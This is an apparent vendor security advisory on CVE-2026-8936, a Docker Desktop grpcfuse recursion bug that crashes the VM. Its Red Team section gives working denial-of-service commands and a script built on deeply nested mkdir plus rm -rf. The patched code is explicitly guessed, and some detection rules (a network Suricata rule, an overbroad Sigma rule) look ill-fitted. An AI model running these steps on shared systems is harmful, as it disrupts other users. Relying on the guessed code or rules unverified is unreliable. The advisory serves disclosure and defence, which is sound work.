CVE-2026-8936

Executive Summary

CVE-2026-8936 is a high-severity vulnerability in Docker Desktop's grpcfuse kernel module that can cause a Virtual Machine (VM) panic (kernel crash) when a container creates deeply nested directories on a bind-mounted host folder and triggers a dentry invalidation event. This is a local denial-of-service (DoS) vulnerability that requires an attacker to have container execution privileges. The vulnerability was discovered and patched in Docker Desktop version 4.76.0.

The core issue is an uncontrolled recursion (CWE-674) in the FUSE (Filesystem in Userspace) kernel module used by Docker Desktop to handle bind mounts. When a container creates a path with an excessive number of nested directories, the dentry invalidation process enters an unbounded recursive loop, exhausting the kernel stack and causing a VM panic.

Supply Chain & Package Security

This vulnerability is specific to Docker Desktop, a proprietary application. It does not affect open-source Docker Engine or containerd. The supply chain risk is limited to Docker Desktop users who have not updated to version 4.76.0. No package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

• Attack Vector (AV): Local (L) – The attacker must have local access to the Docker Desktop VM, typically through container execution.
• Attack Complexity (AC): Low (L) – The attack requires no special conditions beyond creating deeply nested directories.
• Privileges Required (PR): Low (L) – The attacker needs container execution privileges, which are standard for any container user.
• User Interaction (UI): None (N) – No user interaction is required beyond the attacker's actions.
• Scope (S): Unchanged (U) – The vulnerability affects only the Docker Desktop VM.
• Confidentiality (C): None (N) – No data is exposed.
• Integrity (I): None (N) – No data is modified.
• Availability (A): High (H) – The VM panic causes a complete denial of service for all containers running on that Docker Desktop instance.

Threat Level: High. While the attack is local, it can be executed by any container user with minimal privileges, leading to a complete VM crash. In multi-tenant environments (e.g., CI/CD pipelines, shared development machines), this could be used to disrupt operations.

Deep Dive & Mechanics

The vulnerability resides in the grpcfuse kernel module, which is a custom FUSE implementation used by Docker Desktop to handle bind mounts between the host and the VM. FUSE allows filesystem operations to be implemented in userspace, but the kernel module must handle dentry (directory entry) invalidation events.

When a container creates a deeply nested directory structure (e.g., a/b/c/d/.../z with hundreds of levels) on a bind-mounted host folder, the kernel's dentry cache must be invalidated. The grpcfuse module processes this invalidation recursively, calling itself for each level of nesting. With an unbounded number of nested directories, this recursion exhausts the kernel stack, causing a stack overflow and a VM panic (kernel crash).

The attack flow:

1. Attacker gains container execution privileges.
2. Attacker creates a bind-mounted directory (or uses an existing one).
3. Attacker creates a path with an excessive number of nested directories (e.g., using mkdir -p).
4. Attacker triggers a dentry invalidation event (e.g., by deleting the top-level directory or causing a cache flush).
5. The grpcfuse module enters unbounded recursion, crashing the VM.

Vulnerable vs. Patched Code

Vulnerable Code (pre-4.76.0): The grpcfuse kernel module's dentry invalidation handler used a recursive function without a depth limit. When processing deeply nested directories, it would call itself for each level, leading to stack exhaustion.

// Vulnerable pseudocode
void invalidate_dentry(struct dentry *dentry) {
    // Process this dentry
    // ...
    // Recursively invalidate children
    for each child in dentry->children {
        invalidate_dentry(child);  // Unbounded recursion
    }
}

Patched Code (4.76.0+): The patch introduces a depth counter or iterative approach to prevent unbounded recursion. The exact implementation is proprietary, but likely uses an iterative stack or a recursion depth limit.

// Patched pseudocode
void invalidate_dentry(struct dentry *dentry, int depth) {
    if (depth > MAX_DEPTH) {
        // Fall back to iterative processing or return error
        return;
    }
    // Process this dentry
    // ...
    // Recursively invalidate children with depth tracking
    for each child in dentry->children {
        invalidate_dentry(child, depth + 1);
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Docker Desktop version < 4.76.0
• Ability to run a container with bind mount access
• Basic shell access inside the container

Exploitation Steps:

1. Create a container with a bind mount:

   docker run -it --rm -v /tmp/test:/mnt/test ubuntu:latest /bin/bash
   

2. Inside the container, create deeply nested directories:

   # Create 1000 levels of nesting (adjust as needed)
   mkdir -p /mnt/test/$(python3 -c "print('/'.join(['a']*1000))")
   

3. Trigger dentry invalidation:

   # Delete the top-level directory to trigger invalidation
   rm -rf /mnt/test/a
   

4. Observe VM panic: The Docker Desktop VM will crash, causing all containers to stop.

Alternative method using a script:

#!/bin/bash
# exploit.sh - Trigger CVE-2026-8936
MOUNT_POINT="/mnt/test"
DEPTH=1000

# Create nested directories
path=""
for ((i=0; i<DEPTH; i++)); do
    path="$path/a"
done
mkdir -p "$MOUNT_POINT/$path"

# Trigger invalidation
rm -rf "$MOUNT_POINT/a"

Blue Team

Detection:

• Monitor for excessive directory creation events on bind-mounted volumes.
• Alert on kernel panics or VM crashes in Docker Desktop logs.
• Use the detection rules provided below.

Prevention:

• Update Docker Desktop to version 4.76.0 or later.
• Restrict container capabilities, especially SYS_ADMIN and DAC_OVERRIDE.
• Use read-only bind mounts where possible.
• Implement resource limits on containers (e.g., --ulimit stack=...).

Mitigation:

• If patching is not immediately possible, avoid using bind mounts with untrusted containers.
• Monitor for abnormal directory creation patterns.

Indicators of Compromise (IOCs)

File System IOCs:

• Paths with excessive nesting depth (>100 levels) on bind-mounted directories.
• Rapid creation and deletion of deeply nested directories.

System IOCs:

• Kernel panic logs in /var/log/system.log (macOS) or /var/log/syslog (Linux VM).
• Docker Desktop crash reports.
• VM restart events without user initiation.

Network IOCs:

• None (local vulnerability).

Log Examples:

kernel: [ 1234.5678] grpcfuse: stack overflow detected in dentry invalidation
kernel: [ 1234.5679] Kernel panic - not syncing: Fatal exception

Detection Engineering

YARA Rule

rule CVE_2026_8936_grpcfuse_recursion {
    meta:
        description = "Detects attempts to exploit CVE-2026-8936 via deeply nested directory creation"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-8936"
        severity = "high"
    strings:
        $mkdir_pattern = /mkdir\s+-p\s+\/[a-z]+\/[a-z]+\/[a-z]+\/[a-z]+\/[a-z]+\/[a-z]+\/[a-z]+\/[a-z]+\/[a-z]+\/[a-z]+/  // 10+ levels
        $depth_script = /DEPTH\s*=\s*[0-9]{3,}/  // Depth >= 100
        $loop_create = /for\s+.*\s+in\s+.*\s+do\s+.*mkdir/
    condition:
        any of them
}

Sigma Rule

title: CVE-2026-8936 - Docker Desktop VM Panic via Deeply Nested Directories
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects creation of deeply nested directories on bind-mounted volumes in Docker containers, indicating potential exploitation of CVE-2026-8936.
author: Valters IT
date: 2026-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-8936
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/docker'
        CommandLine|contains:
            - 'mkdir -p'
            - 'rm -rf'
    condition: selection
    timeframe: 5m
falsepositives:
    - Legitimate deep directory structures (rare)
level: high
tags:
    - attack.t1499.001
    - cve.2026.8936

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2026-8936 - Docker Desktop VM Panic via Deeply Nested Directories"; flow:to_server; content:"mkdir -p"; depth:100; pcre:"/mkdir\s+-p\s+\/[a-z]+\/[a-z]+\/[a-z]+\/[a-z]+\/[a-z]+\/[a-z]+\/[a-z]+\/[a-z]+\/[a-z]+\/[a-z]+/"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Remediation:

1. Update Docker Desktop to version 4.76.0 or later. This is the only complete fix.
2. Restart Docker Desktop after updating to ensure the patched kernel module is loaded.

Mitigation (if patching is delayed):

1. Restrict bind mount usage: Avoid using bind mounts with untrusted containers. Use Docker volumes instead.
2. Limit container capabilities: Remove SYS_ADMIN and DAC_OVERRIDE capabilities from containers.
3. Implement resource limits: Use --ulimit stack=8192 to limit stack size, though this may not prevent the panic.
4. Monitor for exploitation: Deploy the detection rules above to identify potential attacks.
5. Use read-only bind mounts: Add :ro to bind mount options (e.g., -v /host:/container:ro).

Long-term Recommendations:

• Implement a recursive depth limit in all FUSE kernel modules.
• Regularly update Docker Desktop to the latest version.
• Conduct security reviews of custom kernel modules.

Valters IT